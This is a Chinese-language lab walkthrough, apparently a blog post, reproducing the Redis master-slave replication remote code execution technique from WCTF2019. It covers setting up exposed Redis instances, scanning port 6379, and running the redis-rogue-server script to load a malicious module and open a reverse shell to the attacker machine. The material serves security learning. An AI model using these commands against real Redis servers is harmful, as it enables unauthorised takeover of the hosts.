漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
影响版本
环境搭建
doker搭建
1 2 3
   | # 环境 攻击机:kali 受害机:centos-docker
   | 
 
1 2 3
   | # 搭建 docker pull damonevking/redis5.0  docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
   | 
 
Linux搭建
1 2 3 4
   | # 环境 攻击机:kali 受害机:centos 7 下载地址:http://download.redis.io/releases/redis-4.0.11.tar.gz
   | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   |  wget http://download.redis.io/releases/redis-4.0.11.tar.gz tar -zvxf redis-4.0.11.tar.gz cd redis-4.0.11 make
 
  vi redis.conf
  bind 0.0.0.0
  protected-mode no
 
  ./src/redis-server redis.conf
 
  | 
 

windows搭建
1 2 3 4 5
   | # 环境 攻击机:kali 受害机:windwos 7 windows下载地址: https://github.com/microsoftarchive/redis/releases
   | 
 
下载Redis-x64-3.2.100.zip,并解压到本地目录下。
1 2 3
   | 修改配置文件redis.windows.conf ,开启远程访问,关闭保护模式。 修改bind 127.0.0.1为bind 0.0.0.0 修改protected-mode yes为protected-mode no
   | 
 

启动redis服务:
1
   | redis-server.exe  redis.windows.conf 
   | 
 
漏洞复现
扫描漏洞端口
1 2 3 4 5 6 7 8 9 10
   | root@kali:~ Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-12 21:34 EDT Nmap scan report for 192.168.40.131 Host is up (0.00023s latency).
  PORT     STATE SERVICE 6379/tcp open  redis MAC Address: 00:0C:29:10:79:D9 (VMware)
  Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
   | 
 
利用攻击脚本:n0b0dyCN/redis-rogue-server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | root@kali:/opt/tools/Redis/redis-rogue-server-master# python3 redis-rogue-server.py  --rhost 192.168.40.131 --lhost 192.168.40.132 --exp=exp.so ______         _ _      ______                         _____                           | ___ \       | (_)     | ___ \                       /  ___|                          | |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __  |    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__| | |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |    \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|                                         __/ |                                                                                 |___/                                              @copyright n0b0dy @ r3kapig
  [info] TARGET 192.168.40.131:6379 [info] SERVER 192.168.40.132:21000 [info] Setting master... [info] Setting dbfilename... [info] Loading module... [info] Temerory cleaning up... What do u want, [i]nteractive shell or [r]everse shell: r #输入i是直接获取交互式shell [info] Open reverse shell... Reverse server address: 192.168.40.132 Reverse server port: 2333       [info] Reverse shell payload sent. [info] Check at 192.168.40.132:2333 [info] Unload module...
  root@kali:~# nc -lvvp 2333
   | 
 

